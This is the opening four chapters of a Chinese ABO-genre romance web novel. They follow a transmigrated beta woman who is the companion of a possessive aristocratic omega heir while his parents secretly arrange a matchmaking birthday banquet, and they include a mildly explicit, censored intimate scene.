《万人迷beta生存指南》 第1章 第 1 章 耀星联邦的夏季,太阳落山的时间是15分23秒。 手机抽风似震了好大一会儿,闻鸢没管,坐在实验室的桌子上,弓着背,看那半个夕阳一点点隐没在山脊后。 实验室没开灯,摆在桌上的手机屏幕亮着,炸弹似的信息一条接一条。 【大少爷】下来,我在停车场。 【大少爷】今天陆寻那个贱人在小测上作弊,被教授发现了。笑死,他脑子简直比核桃仁还小,这么基础的题都不会做。 【大少爷】你在做实验吗? 【大少爷】为什么不回消息? 【大少爷】故意的? 【大少爷】回我回我回我回我回我……!!! 震动声吵得闻鸢心烦,她叹了一口气,起身将控干的试管放到无菌箱里。 把一次性手套丢到垃圾桶里后,她捞起桌上的手机,点开绿泡泡,无数条消息纷至沓来,立刻让她体会了到如蟒蛇缠绕的窒息感。 她仔细浏览着,生怕错过一句话。 上面都是一些鸡毛蒜皮的小事,除了“在哪儿?”这种如吃饭喝水般寻常的质询,“去取材料”这种亲切又开门见山的吩咐之外,更多的是他对“好友”的吐槽和鄙夷。 世界围绕泽诺·奥兰德运转,即使是在闻鸢的手机里,这一原则也依旧奏效,这点她从不怀疑。 不过相比于这些无关痛痒的小事,她更愿意花十五分钟看太阳落山。 但人在屋檐下,有些事情论迹不论心,即使自己没兴趣了解少爷的爱恨情仇,但也必须装作善解人意且乐于倾听的样子。 毕竟这是少爷伴读兼家养小精灵应该要做的事。 闻鸢12岁起就被奥兰德家族的管家收养,奥兰德先生看他们俩年龄相仿,于是把她接到家里来住,好让泽诺有个伴。 闻鸢永远也忘不了那一天,西装革履的管家牵着她走到一个房间。 房间阳光充足,墙壁上没有黑色的污渍,柜子里不会蹦出老鼠和蟑螂,床很宽很宽,几乎可以睡下三个人。 周管家蹲下身来,眼角边的鱼尾纹又长又细。 “听好了,你这辈子的命运掌握在泽诺·奥兰德的手里,讨好他,让他开心,或许你就能过得好一点。” 当时闻鸢不知道泽诺是谁,但她很认真地点了点头,满怀憧憬地说道:“我会的。” 她已经穷途末路,一旦抓住什么东西,就不会放手,但她不知道,有些馈赠,早在暗中标好了价格。 窗外的渡鸦叫了几声,将闻鸢的思绪唤回。 她在手机上敲了几个字,斟酌一番后又删掉了一半。 怎么糊弄少爷,这也是个技术活,需要充分运用语言艺术。 手机又震了震,弹出一条新信息,信息简洁直白,但闻鸢心里那根弦却猝然绷紧了一下。 【大少爷】你死定了。 显然,大少爷的耐心已经售罄,闻鸢亡羊补牢般地将信息发了出去。 【闻鸢】抱歉刚刚在做实验,现在才看到。 后附一个跪滑表情包。 对方没回。 闻鸢摸不准他的态度,但她敏锐地感觉到少爷今天隐隐有些不爽。 贵族omega就是这样的,尤其泽诺还是S级的omega,奥兰德家族千娇百宠长大的独子。 他的人生太过顺遂,所以他会花大把时间给周围的人添堵,宇宙间的某种守恒定律才得以生效。 闻鸢将门锁上,疾步走过中控室。 为了节约时间,她特地走了后山那条偏僻的小道,这样省了绕操场的功夫。 即使是在炎热的夏天,后山因为有树木的遮蔽,也依然有些阴冷。 走了一会儿,她看到一群人将一人团团围住,大声喧嚷着什么。 借着巨大的杉木丛掩盖身形,她蹲下身子,隐在不远处听了听。 “东西呢?”其中一人嗓音粗犷,声音恶狠狠的,像只愤怒的鬣狗。 “权限被改动过了,我没法进实验室。” 一道冷而沉的声音钻进闻鸢的耳朵,她挑了挑眉,隐隐觉得有些耳熟。 沈照那双黑墨般眸子和瘦得过分的脸庞立刻浮现在她脑海中。 她壮着胆子探头一看,只见为首那个虎背熊腰的男子一攮,粗暴地拎起沈照的衣领。 “你他丫的找抽是不是?一个二级beta,也敢耍我?” “我没……”正欲辩解,一道破风声响起,石头大的拳头砸在他脸上,鼻血喷涌而出。 干涩又刺鼻的铁锈味混杂着浓烈的果酒迎面扑来,即使站得远,闻鸢还是被熏得眼泪汪汪。 真够恶劣的,打人就算了,还故意释放信息素来压制比他弱一头的beta。 这和拿着他的尿浇了沈照一身没有区别。 沈照一滞,头机械般地偏转回来,死死盯着男人,漆黑的眼瞳深不见底,让人有种凝视深渊的错觉。 男人被盯得有些发毛,“你还敢瞪老子?” 他怒火中烧,抬起粗壮的手臂,准备再来一拳。 “同学,他没骗你,实验室的权限的确改动过。” 闻鸢从树丛后走出来,双手抱臂站在他们十步之外,目光平和。 “还有,你的信息素很虚浮,建议去腺体医院看一下。” 男子愣了一下,短粗的眉毛愤怒地拧在一起,气急败坏地问道: “你他爹的是谁?” “生命学院腺体研究所,闻鸢。” 她很坦诚地报了家门,随后向那边扬了扬下巴,继续说道:“沈照,我师弟。” 听到她的名字,对面的人静了一秒,身旁的小弟用手肘推了推自家老大,表情复杂。 “是泽诺的青梅竹马,我们还是少惹为妙。” 他的确不知道闻鸢是谁,但泽诺在华都大学声名远扬,光是论坛里的脑残粉丝都足够让他招架不住。 他闭了闭眼,强行压下怒火,语气谄媚地对闻鸢说道:“抱歉,都是误会。” “小兄弟,不好意思。” 他拂了拂沈照肩上根本不存在的灰尘,神情僵硬,“我想起还有点事,先走了,你们聊。” 翻脸简直比翻书还快。 闻鸢冷着脸,没有回应。 等他们全部离开后,她转头看向沈照,对方却非常巧妙地避开了她的视线,头低垂着,脸颊锋利的弧度消失不见。 像极了做错事后等待主人惩罚的坏狗狗。 一条绣有鸢尾花的帕子出现在视线中。 “先擦擦鼻血。” 沉默的beta有一米八以上的身高,冷脸时压迫感极强,但在闻鸢面前却乖得不得了。 他接过手帕攥在掌心中,闷闷地说了句:“谢谢师姐。” “他们跟你要什么东西?” 闻鸢没有错过刚刚谈话中的每一个关键信息,锐利的目光扫过沈照,却在他脸上找到了一种叫做“为难”的情绪。 沈照的心冷冷地跳着,他不敢看闻鸢的表情,只是越发沉默起来。 “我知道了。不用勉强,等你愿意了再告诉我吧。” 手机疯狂地震动着,强度和频率远甚于之前,闻鸢忽然有种被人拿枪抵着脑袋的错觉。 简单的告别之后,她飞速跑起来,很快消失在树林中。 她像阵风一样,来得快去得也快。 冷香浮动在空气中,沈照站在原地,望着她的背影,呼吸放得很轻很缓。 手帕凑近鼻端,他轻轻嗅了嗅,冷峻的眉眼忽而舒展,整个人柔和了许多。 他将手帕小心地收在口袋里,转头朝着教学楼的方向走去,步履悄无声息。 那厢,闻鸢以百米冲刺的速度抵达了停车场,在众多豪车中找到了最张扬也最绚丽的那辆红色超跑。 开门,钻进去,关门,一气呵成。 泽诺坐在副驾,头靠在玻璃上,耀金色的碎发遮住半张脸,鼻梁高挺立体,眉骨优越,仅是这张侧脸就完全符合联邦人的审美标准。 “抱歉,泽诺,路上耽误了点时间。”闻鸢忐忑地解释道。 闻言,他甚至把头扭得更远了,如宝石般的海蓝色眼睛盯着窗外,手指一刻不停地敲着手机屏。 一根金色的发丝从他后颈处翘起来,和他不想搭理人的高冷形象形成绝赞反差。 闻鸢抬手抚平那根碎发,却被他冷不丁地抓住了手腕。 “一整天都不回我消息,却有时间跟alpha鬼混?!!!”他的声音拔高了八个度,几乎是尖叫了起来。 清汤大老爷,这等好事,她怎么不知道? “什么alpha?你在说什么?”闻鸢疑惑。 看她脸上震撼的表情不似作假,泽诺心下稍平,冷哼一声甩开闻鸢的手。 “你自己闻,什么货色的alpha,信息素这么臭。” 鼻子还怪灵的。 “你说这个啊,经过后山的时候一群alpha在打架,可能不小心沾染上了,我出去散散味道。” 说罢,她拉开把手,一只脚踏出了车框,却猛地被泽诺拉住了袖口。 omega惊慌又后悔的神色没有逃过闻鸢的眼睛。 她看着那对完美剔透的蓝色眼睛闪了一下,随后他瘪了瘪嘴,从中控台的隔板里拿出一瓶清洁剂,砸到闻鸢怀里。 “滚上来用这个。” “哦。” 闻鸢二进跑车,心里却有了另外的计较。 已知大少爷忍不了劣质alpha的信息素,但当她提出要下车时,他却不愿意了,这说明了什么? 说明他变得善解人意,开始关心周围的人! 呵呵,地狱笑话。 即使生气也不愿意闻鸢离开他的视线,嘴上说着讨厌,肢体却很诚实地处处贴近她,再结合车厢内若有似无的玫瑰花香。 她敢保证,泽诺的易感期绝对、肯定、一定提前了!!! 他爹的,早知道就不惹他了,今天他能把她折腾死。 第2章 一起睡 闻鸢苦着脸,决定开启拖延战略,喷清洁剂的速度堪比磨洋工。 泽诺忍着易感期的热|潮,在那边端了半天的架子,还没见她喷完,不由得怒火中烧。 他跨过中控台,直接坐在闻鸢腿上。 手指一按,座椅往后退去,狭小的空间终于多出点位置,但依旧窄得可怜。 闻鸢大惊,慌忙扶住泽诺的腰,生怕大少爷磕到碰到。 手里的清洁剂被他抢走,他脸上略带潮|红,蓝色的眼睛湿漉漉的,眼尾带着妩媚又撩人的光采。 “慢死了。” 明明是斥责,却带着娇嗔的语气,馥郁的玫瑰香粘稠得让人窒息。 蓝色衬衫的纽扣被他轻易解开,手指顺着闻鸢的锁骨往肩膀滑去,熟稔地将衣服推到肩线以下的位置。 “我帮你。”他俯下身,手指捏着闻鸢的耳垂,粉红的唇瓣吻了吻她的耳廓。 清洁剂喷在锁骨上,冷冽的触感之后便是温热而细碎的吻,他轻轻舔了舔锁骨上方的小窝,引得闻鸢浑身一|颤。 他闷闷地笑了下,笑声低沉又危险,像是捉到了猎物的海妖。 闻鸢深吸了一口气,偏头避开他的吻,“这样不行,先打抑制剂。” 她起身去够书包,却被泽诺压了回去。 座椅靠背已经完全倒下了,泽诺撑着皮质座椅,缓缓覆身其上。 “怕什么,这种把戏,我们以前也玩过。” 泽诺觉得闻鸢大惊小怪,以前在家里的时候,他们也是事后才打抑制剂的。 听他说得这么理直气壮,闻鸢有种鸡同鸭讲的无力感。 怪不得他生理学从来没及格,开阔且通风的地方,随他怎么玩,但这是在车里,闭塞且不通风,信息素堆积只会加快他失控的进度。 闻鸢不想做到一半送他去医院,而且她导师今天正好在医院值班,说不定会碰到,这样场面只会更加尴尬。 她挣扎着,避开了泽诺落下的吻,“好歹开一下换气窗!” “你好烦……”大少爷烦躁地戳了戳按钮,顺便将打开了防窥模式,转头吻上闻鸢的唇。 双唇严丝合缝地贴在一起,他撬开她的齿|贝,贪婪地攫取对方口中的津|液。 从小长大的默契让他对闻鸢身上的每个部位都十分熟悉,但每次和她接吻的时候,他还是兴奋得汗毛直竖。 “闻鸢闻鸢闻鸢闻鸢……”他像只猫一样蹭着闻鸢的肩颈,将自己最脆弱的腺体放到她面前。 闻鸢毫不犹豫地抬头咬住那块嫩粉色的软|肉,用犬齿地磨了磨。 不轻不重的摩挲无异于隔靴搔痒。 “呃……”泽诺不耐地动了动双腿,双手紧紧抓住闻鸢的肩膀,像落水之人拼命地抱着一块浮木。 玫瑰染上情|欲,车厢内温度灼人,烘得他大汗淋漓。 他扬起脖颈,如玉的天鹅颈弯曲成一道优美的弧度。他只觉得自己的身体像一团火球一样,怎么做都得不到纾解。 鸢尾花的气息很淡很淡,需要很努力才能捕捉到,但那点甘霖也只是杯水车薪。 被欲|望吞噬,躯体变成空壳,意识完全沉浸在情|欲的狂欢中。 双腿紧紧绞|住闻鸢的腰,他攀附着闻鸢的肩膀,用鼻子悄悄蹭了蹭她的脸颊,带着一点恳求,迷迷糊糊地说道: “小鸢,标记我好不好?” 身下的人一僵,没有动作。 情|欲完全冲垮了理智,他下意识地将闻鸢认做alpha。 可惜闻鸢不是。 而闻鸢庆幸她不是。 没得到回应,他又开始发脾气,暴虐地撕|咬着闻鸢的锁骨,所过之处留下一片深浅不一的红|痕。 狂躁的思绪如烈焰般烧过他的肌肤,但却在某一刻遇到了寒冷的冰河。 颈后一痛,抑制剂顺着腺体流入四肢百骸,唤醒了残存的理智。 十五分钟后,泽诺靠在副驾窗边睡着了。 闻鸢用湿纸巾仔细擦去手指上的液体,随后拿起清洁剂清理战场。 这次战况的确激烈,抽纸用了一整包,清洁剂用了两瓶,她大腿的裤子上还湿了一块。 诸事完毕,她驱车开出校园。超跑汇入车水马龙,红色的剪影在金桥上飞驰而过,亮眼而流畅的翼形设计引得同行车主频频侧目。 红翼超跑平稳地驶入进入一区的高速,路面顿时宽阔了许多。 华都是耀星联邦的首都,共分为十二个区,一区到三区是公认的富人区,这里占地面积是全市的60%,人口却只占20%。 奥兰德家族的府邸坐落于一区最中央的长岛之上,岛对边就是灯火辉煌、纸醉金迷的商圈。 闻鸢把抑制环卡在他脖颈上,随后把泽诺抱出跑车。 原本张牙舞爪的小猫收敛了爪子,脸颊贴着闻鸢心口,静静地趴在她怀里。 omega的骨架和骨密度都很小,闻鸢抱着毫不费力。 她脖颈上留着几个可疑的红色印记,有些咬痕还渗着血。 训练有素的侍女鼻观眼眼观心,迅速为泽诺披上毯子,对闻鸢耳语道:“您需要皮肤修复剂吗?” 闻鸢点点头,侍女又继续补充道: “家主和约顿先生回老宅看望老太太,晚饭不回来吃了。” 无事不登三宝殿,平白无故地,奥兰德夫妇回老宅做什么? 闻鸢垂下眼帘,反复琢磨其中关窍,却没什么头绪。 她转而对侍女说道: “知道了,麻烦你把晚饭送到我房间吧,谢谢。” 即使是面对一位侍女,闻鸢也有些礼貌得过分,她会认真地盯着同她讲话的人,不时点点头,表示自己在听。 很多侍女都说她亲民,因为她是这个家里最随和、最好伺候的一位主子。 听到这种评价,闻鸢哭笑不得。 笑死,她闻鸢也是坏起来了,都脱离“民”这个群体了,那她现在是什么?资本家吗? 姐妹,世界上最遥远的距离,莫过于我把你当同事,你把我当老板。 她们现在已经隔着一层可悲的厚壁障了。 闻鸢把头绳解开,热水从喷头处落下,瞬间将她淋湿。 雾蒙蒙的玻璃被胡乱抹开,她在里面看到了那张熟悉又陌生的脸。 现在的身体将近20岁,肌肤仍然光泽而富有弹性,但她的眼神却透露着一种异常的、不符合这一年龄的疲惫和倦怠。 在来到这个世界之前,她是个孤儿,大学毕业之后成了社会的小小牛马。 经济不景气,老板卷着所有人的工资跑路,她和众多员工一起围堵那个丧尽天良的男人,却不甚摔下楼梯,一命呜呼。 睁开眼之后的闻鸢就来到了这个诡异的abo世界。 重活一次,她本来十分高兴,但出厂配置却让她两眼一黑。 这个世界的闻鸢自幼丧母,爹是个穷得叮当响的清洁工,专门负责处理生化垃圾。 作为两个beta的后代,闻鸢毫不意外地是个beta,还是个二级beta,简称2B。 但让闻鸢稍感欣慰的一点是,便宜爹虽然穷,但是个好父亲。 他骨子里的乐观和强大的心理能量稍微弥补了闻鸢生而带有的悲观主义,顺便弥补了上一世闻鸢缺失的亲情。 可生活总是幽幽又默默,当你以为自己已经足够惨的时候,生活微微一笑告诉你: 没事,更惨的在后头。 实验室的有毒物质外泄,她父亲在捡垃圾的时候被感染。 他前一天早上活蹦乱跳地出去,第二天晚上就在太平间里安静地躺着。 后来,她辗转来到收容所,活倒是活下来,就是每天都吃不饱。 她一个小小的老登在一群小孩里面装嫩,夹着嗓子跟院长妈妈要零食吃,这种事情即使是回想起来也觉得羞耻,但再来一次,闻鸢会做同样的事情。 谁不想活得更好些呢? 周管家的到来彻底改变了她的人生走向,她一点点将自己渗入泽诺的生命轨迹,以潜移默化的方式将自己的痕迹烙印在泽诺的生活中。 她像只寄生虫一样吸附在泽诺身上,但也彻底在奥兰德家站稳了脚跟。 虽然在此过程中她付出了不小的代价,比如清白和节操之类的,但和吃饱肚子相比,这些都是浮云。 浴室的门被敲得砰砰作响,泽诺狠狠地拧了拧门把手,试图闯入未果后,他在外面大声喊道: “为什么还没洗完?” 易感期的大少爷特别粘人,他真的恨不得二十四小时贴在闻鸢身边,一旦分开就会产生分离焦虑。 但她从进入浴室到现在,也才过了五分钟而已。 她重重闭了闭眼,一番心理建设之后温声道:“马上出来。” 真是句句有回应,事事有着落。 天底下找不到比她更好的书童兼家养小精灵了,她在心里自嘲道。 胡乱冲了个澡,身上的玫瑰花香终于变淡。 闻鸢擦着头发,一出去就看见泽诺盘腿坐在床上,手上拿着她的手机,看起来在翻阅她的社交软件。 她在泽诺面前毫无**可言,泽诺可以随时进出她的房间,她手机的密码也是泽诺设置的,供他随意查岗——虽然她不知道为什么泽诺很热衷于这种事情。 但她已经被迫适应了泽诺近乎变态的掌控欲,甚至觉得这简直像呼吸一样稀松平常。 不在掌控中奋起,就在掌控中躺平。这是她总结出的宝贵经验之一。 闻鸢刚吹完头发,泽诺变立即跳起来冲到她身边,举着手机质问道: “这个沈照是谁?为什么平白无故约你吃饭?” 手机屏幕上明晃晃地摆着一条沈照的新消息。 【沈照】师姐,今天的事多谢,什么时候一起吃个饭? 闻鸢捏了捏他气呼呼的脸,将他的手按下。 “他是我同门师弟,今天帮他做了个实验,他想感谢我来着,就请我吃顿饭喽。” “我帮你回绝了。” 这是通知而非商讨,在这方面,他的做派的确像个专断的暴君,不过闻鸢并不放在心上。 “知道了。”她从善如流地回应道,没有在这个话题上过多纠缠。 “今晚你要在我房间里睡吗?” 第3章 第 3 章 泽诺怔愣了一下,脸颊飘红,抱着自己的兔子玩偶钻到被子里,心脏咚咚地跳。 “你房间?什么你的房间?这个家哪里不是我的?” 他瞥了闻鸢一眼,撅起嘴巴嘟囔道:“连你也是我的!” “是是是,大少爷说的都对。” 四重肯定表否定,地球人都懂,可惜这里不是地球。 大少爷不能体会其中的语义,只觉得对方同意了他的观点。 闻鸢是他的。 一想到这一点,他唇角的笑意压也压不住。 beta端坐在书桌边,专心致志地盯着电脑,丝毫没有明白他刚刚的暗示。 她戴了副防蓝光的平光眼镜,发丝遮住侧脸,叶形吊灯将冷光打在她如玉的脸上,恍然间有种清冷斯文的感觉。 泽诺抿了抿唇,腺体又烫了起来。 他没话找话道:“你在干什么?” 闻鸢答:“写你的作业,明早要交了。” 少爷的作业向来都是书童代笔的,昨天少爷给她发了长达一千页的资料,说要写个读书报告,第二天早课前交。 这意味着今晚她可能要熬大夜。 不过换个角度想,她只交了一份学费,却同时能学到经济学和医学两个学位的知识,这波她赢麻了。 泽诺没话说了,他盯着床单上的芍药图案发呆,过了一会儿之后才嫌弃地说道: “这被套好丑!哪个侍女给你拿的?” 大红色的芍药加黄色的底,边角处还有蕾丝,这人简直土到家了! 闻鸢讳莫如深地看了一眼,推了推眼镜,一字一顿道:“你爸爸亲自挑选的。” 约顿叔叔是个貌美持家的一级omega,但他的审美却和儿子格格不入。 泽诺把骂人的话吞了下去,又沉默起来。 压制小登果然还是老登管用。 泽诺没发成火,又说不出“我现在很难受想让你抱抱我”这样掉价又不矜持的话来,于是把被子蒙在头上,独自一人生闷气。 身体滚烫得像在发烧,他紧紧抱住那只胖兔子,想象它就是闻鸢。 可是,它没有闻鸢身上鸢尾花的香气,更没有柔软而温热的肌肤。 他难受地将自己缩成一小团,心里发誓要和闻鸢冷战一个星期……不!一个月。她绝对别想把他哄回来! 真是讨厌死了,明明知道他最想要什么,却还在那里抱着电脑装木头。 他在心里骂了闻鸢几百遍,恍惚间,被子被掀开一角,一具温热的躯体贴在他背后,手掌越过手臂贴在他的小腹上,暖暖的像个小火炉。 身后的beta拢住他的身体,轻轻吻了吻他颈后的腺体,同时释放出一点信息素。 微弱的鸢尾花香被他全数接收,原本沸腾在腺体里的血液冷却下来。 泽诺翻了个身,她浅棕色的双瞳近在咫尺,那双常带笑意的眼睛中清晰地映照着他的面庞。 手指轻轻摩挲着泽诺的脸颊,随后唇瓣落在泽诺的眼皮上,轻而柔的吻一触即分。 “做个好梦,泽诺。” 一个带着草木清香的晚安吻。 她的话像有魔力似的,哄得他眼皮子止不住地打架。 于是在深深睡去之前,泽诺决定暂时单方面跟闻鸢和好。 少爷入睡很快,他的睡眠质量总是让闻鸢羡慕,不像她,躺床上一小时都睡不着。 当然她也不准备睡,因为她还要帮少爷写作业。 再次坐到桌前,看着晦涩难懂的文字,已经是全然不同的心境,因为深夜emo总是来得这样快。 现在是晚上0:32分,资料只读了30%,读书报告的进度是5%。 看来今晚不用睡了。 闻鸢在昏暗的灯光下咧嘴笑了笑,眼底却是死鱼一样的麻木和空洞,活像个阴暗爬行的女鬼。 一想到毕业以后还要替奥兰德集团卖命,她就止不住发笑。 从前的她还以为博了个多好的前途,也不过是签了张永久卖身契而已。 真是条条大路通牛马。 远处传来一声不太清晰的犬吠,楼下大门的声控灯随之亮了起来。 闻鸢愣了一下,起身靠近落地窗。隔着一层纱帘,她看到奥兰德夫妇的车开进了车库。 这么晚才回来,还真是史无前例。 他们俩到底跟老太太商量了什么? 各种阴谋论闪过脑海,最终却化为一声长叹。 算了,再怎么商量也跟她没关系,她只要伺候好少爷就行。 第三杯咖啡泡开之后,已是早上七点。 顶着一对熊猫眼的闻鸢打开邮箱,点击发送。 她拖着沉重的身体跑到卫生间里洗了个冷水澡,顿时神清气爽了许多,只是头稍微有些抽痛。 粉底被细细地匀开,敷散在眼睑之下,她仔细地检查了一下自己的仪容仪表,确保奥兰德夫妇挑不出一点毛病之后,转身去叫醒大少爷。 “泽诺,起床,今天你有早课。” 窗帘被拉开,大片阳光射|进屋内,刺得他眼皮发痛。 他习惯性地翻了个身继续睡,脚腕却被一只冰冷的手握住。 泽诺一激灵,几乎从床上跳起来。 漂亮的眼睛带着没睡醒的慵懒和恼怒,泽诺刚准备发脾气,却被闻鸢打断施法。 “家主已经在餐厅坐着了。” 泽诺的母亲艾薇·奥兰德是家里唯一能镇住大少爷的人。 他见到艾薇就像耗子见了猫一样,那威风劲儿立刻消失得无影无踪。 闻鸢细心地将他额前的碎发拨开,随后为他套上拖鞋,推着他进了洗漱间。 “快一点。” “啰嗦。” 等大少爷穿戴得人模狗样到餐厅之后,已经过了半个小时。 家主艾薇坐在主位,坐在次位、身穿灰色家居服的丈夫正为她盛粥。 长发及肩的女性alpha有着和泽诺如出一辙的蓝色眼睛,不过艾薇瞳色偏深,衬得眼神也更加锋锐幽深。 闻鸢很少在那双眼睛中看到明显的喜怒哀乐。 看到二人入座后,艾薇放下手中的工作平板,开始就餐。 闻鸢老老实实地喝粥,一个多余的动作都不敢有。 “泽诺,下个月是你生日,想好怎么过了吗?” 约顿放下勺子,爱怜的目光落在独子身上。omega每一缕金色发丝都弯成完美的弧度,听话地贴在颊边,堪称艺术品。 泽诺认真地想了想,“唔……我打算在家里办个生日宴会。” 约顿笑意更深了,他和妻子交换了一个眼神,循循善诱道: “正好,我和你妈妈都觉得这次应该要办个盛大一些的宴会,刚好你也趁着这次机会认识一些新朋友。” “好啊。” 泽诺喜笑颜开,隐隐有些期待,心里早就拟好了宴会游戏和邀请名单。 但这句话落到闻鸢耳朵里却有另一重含义。 盛大宴会,他成人礼那个还不算盛大吗?奢华的宴会和派对邀请了联邦不少名流,当红歌星在舞台上唱歌,一小时就花了一千万。 那次宴会的奢靡程度引得媒体惊叹,占据了头条将近一个星期。 下个月他正好20岁,20岁有必要办得这么…… 等等!20岁不正好就是omega法定结婚年龄吗?!! 不会吧,他们是想把生日宴变成相亲宴吗? 她越想越觉得有可能,说不定他俩昨天就是去跟老太太商量这件事。 闻鸢低下头,碎发将她眼中震惊的神色巧妙地遮住。 果然,她和这个abo世界还是有壁,她不是很能理解这群人的脑回路。 泽诺见她放下勺子,以为她吃饱了,于是拉起她。 “吃完了?那我们走吧。” 柔软无骨的手指穿过闻鸢的指缝,十指交叉,紧扣在一起,再加上他有误若无地肢体接触,不知情的人肯定会将二人误认为情侣。 闻鸢看到艾薇冷而沉的眼神似有若无地扫过两个人交叠的双手,背后冷汗直冒,下意识地抽出了手。 “?”泽诺回头,“忘带东西了?” “……忘带车钥匙了。” 车钥匙好好地在她包里躺着,但她只能顺着泽诺的话往下说。 气氛突然之间变得有些微妙。 “闻鸢留下来,我有事交代。让司机送你,泽诺。” “好吧。”泽诺耸了耸肩,对此事未置一词。 不过他在临走的时候指了指自己脖子上的抑制颈环,对闻鸢做了个口型。 “中午来找我。” 闻鸢愣了一下,下意识地抿出一个笑容,但笑里的苦涩意味怎么也压不住。 还来? 她真的没有精力了。 目送泽诺离开之后,艾薇夫妇起身去书房,闻鸢亦步亦趋地跟在后面。 “小鸢,这个月可能要麻烦你帮我们送一些材料。” 约顿一边说着,一边把文件夹递到她面前。 得到他眼神的默许之后,闻鸢翻开文件夹,里面赫然是泽诺的S级omega检测报告,后附一张家族关系表。 闻鸢疑惑地瞪大了眼睛。 一直坐在书桌前的女alpha举起一张纸,沉声道:“材料送给名单上的这些人,同时邀请他们出席泽诺的生日宴会。” 闻鸢接过,眼睛瞪得更大了。 名字左边标注了被邀请者的性别,大多都是S级或者一级的alpha。 右边则标注了所属公司,包括但不限于环宇集团、金孚石油、兰旗银行…… 简单粗暴地讲,联邦前20强的公司和集团大多都在这个名单里。 卡壳的脑袋在这时突然转了起来。 搞半天还真是隐形相亲啊?!!! 约顿把名单交给她,同时还不忘认真地叮嘱,“特别是标了星号的,一定确保他们能到场。” 那双温柔的人夫眼盯着闻鸢看了看,“你这么聪明,一定明白这是什么意思吧,小鸢?” 她太明白了,夫妻俩知道硬逼着大少爷去相亲他肯定不干,所以采取这种迂回的战术。 闻鸢抿了抿干裂的嘴唇,试探地问道:“泽诺知道这件事吗?” “不知道哦,”声调愉快地上挑,尾音还带着一点威胁的意味,“别让他知道。” 闻鸢点头如捣蒜。 约顿赞许地拍了拍她的头,像是某种奖励。 “去上课吧。” 门被悄悄合上,没发出一丝多余的噪音。 艾薇紧皱的眉头没有松动,丈夫见状问道:“怎么了?” 她捏了捏自己的眉心,觉得接下来的话有些难以启齿。 “泽诺和闻鸢,是不是太过亲密了?” 约顿笑了笑,“这几天是泽诺的易感期,往常都是闻鸢辅助纾解的,泽诺对她产生假性依赖也很正常。” 家主的眉头有所松动,但还是觉得有些地方不对劲。 omega将手放在艾薇的手上,不轻不重地捏了捏,“别忘了,闻鸢只是个二级beta。” 二级和S级,云泥之别。 况且beta和omega并非天作之合,等到泽诺遇到他命定的alpha,AO的契合度会让他很快忘记闻鸢。 艾薇和约顿对此深有体会,结合热带来的快感和情|欲让他们很快忘记了旧情人,现在将他们捆绑在一起的不只有利益,还有信息素。 “闻鸢毕业后,你打算把她安排到哪里?总部吗?” 艾薇原本舒展的眉头又皱了起来,“现在谈这件事还太早了。” 看到喜怒不形于色的妻子突然烦躁起来,约顿便没有出声再问。 而此时的闻鸢比艾薇还要烦躁。 她机械地将反应管放到离心机里,点了几个预设,准备按下启动。 手腕被兀地捏住,沈照在旁边提醒道:“师姐,你没加缓冲液。” 放入离心机的试管都必须放缓冲液,否则实验白做,这是大一新生才会犯的错误。 额角突突地跳动,闻鸢轻叹一声,对身旁高大沉默的beta说道: “抱歉,刚刚走神了。” 她眼睑下方的浮粉没有逃过沈照的眼睛。 女性beta的手腕转了转,他不着痕迹地松开手,垂下的手指背在身后,紧攥成拳。 “我帮师姐做吧。” “那有劳了。”闻鸢没有推辞,因为她真的累得要命。 心脏像背着包袱一样,缓慢而沉重地跳动着。 离心机正常运行,沈照偏头看去,发现闻鸢靠在试管架旁睡着了。 第4章 第 4 章 睡着的闻鸢仍然皱着眉头,阳光经过玻璃的反射,落到她颊边就变成了一道乳白色的光晕,像白玉一般,冷而静。 沈照眉宇一动,抬步,走近,俯下身子,然后在大概一尺的距离处停下了。 这么近的距离,他能清晰地看到闻鸢脸颊上的汗毛与细密的羽睫。 他就这样看着闻鸢什么也不做,但心底那点隐秘的快乐却升腾上来,将他的心脏束缚得近乎窒息。 沈照清楚地知道那种感情是什么,但同时他也为此感到不耻。 因为闻鸢并不是他能肖想的人。 有人说,喜欢上一个人就好像创造了一种信仰,侍奉着一个随时会陨落的神*。 他深以为然,但他不求神的垂怜和回应,只祈求自己隔着一尺的距离,就这样安静地看着她。 离心机微弱地响了一下,闻鸢浅眠,忽而从梦中惊醒,头一转,没了背后的支点,脸差点砸到桌上。 幸而沈照上前一步,眼疾手快地托住她的下巴。 小指刮过闻鸢的嘴角,止不住地颤了颤。 男人的影子将她全数包裹,逆着光,闻鸢看到沈照浓墨似的眼珠动了动。 “师姐当心。”声音沙哑难辨。 闻鸢立起身子,恍然间觉得自己的疲惫感少了很多,头也不那么痛了。 打开手机,迎面袭来仍旧是泽诺发来的数条消息,闻鸢一一回完之后,邮箱弹出一条新消息。 【闻鸢女士: 明日下午三点,环宇大厦33层。 敬候。 环宇集团】 环宇集团的业务主要在能源和电气产业,而集团掌权人的独子方鸣玉就是重点联姻对象之一。 闻鸢上午才发的邮件,下午就有回信,速度快得令她咋舌。 不过想想也是,这年头,适婚的S级omega打着灯笼都难找,既然奥兰德家主动伸出了橄榄枝,哪有不接的道理? 只是苦了她这个打工人,既要照顾脾气阴晴不定的大少爷,还要兼顾实验室的项目,更要帮忙跑腿送材料。 闻鸢真恨不得自己有三个分身。 反应管被沈照取出来摆在试管架上,她抽出一只观察了一下,对沈照挑了挑眉。 “看来我做得还不错?”一丝淡淡的笑意掠过沈照的脸。 闻鸢对他眨了眨眼睛,脸上的带着她特有的俏皮和灵动。 “谢了,沈师弟。” 沈照的黑瞳在她脸上停了一下,然后做贼心虚般地快速移开。 她站在原地记录数据,不经意地问了一句:“那些人还来找你麻烦吗?” 整理试管的手顿了顿,他抿了抿唇,墨色的眸子冷了几分。 “没有了。” 闻鸢用笔尾点了点自己的下颌,见他没有继续说下去的愿望,于是也不再逼问事情的原委。 他站在原地沉默了一下,试探性地问道: “如果师姐很忙的话,我们也可以去食堂凑合一顿,但请务必让我请客,以表谢意。” 沈照努力压住语气中的期待,不自觉地攥紧了手下的实验袍。 话题跳转得有些快,闻鸢反应了半晌,才想起昨天泽诺帮她回绝了沈照的邀约。 看来大少爷的回绝相当不近人情,否则沈照不会这么紧张。 她迟钝地打开绿泡泡,点入和沈照的聊天记录。 【沈照】师姐,今天的事多谢,什么时候一起吃个饭? 【闻鸢】很忙,不必了。 嗯,非常强硬的语气,连主语都省了,非常符合大少爷的慵懒又蛮横的作风。 像她这种讨好型人格,发信息必加语气词或表情包,否则浑身不得劲。 闻鸢下意识地挠了挠鼻子,“最近的确挺忙的,导师那边又分派了几个新任务,要不等我忙完这阵?” 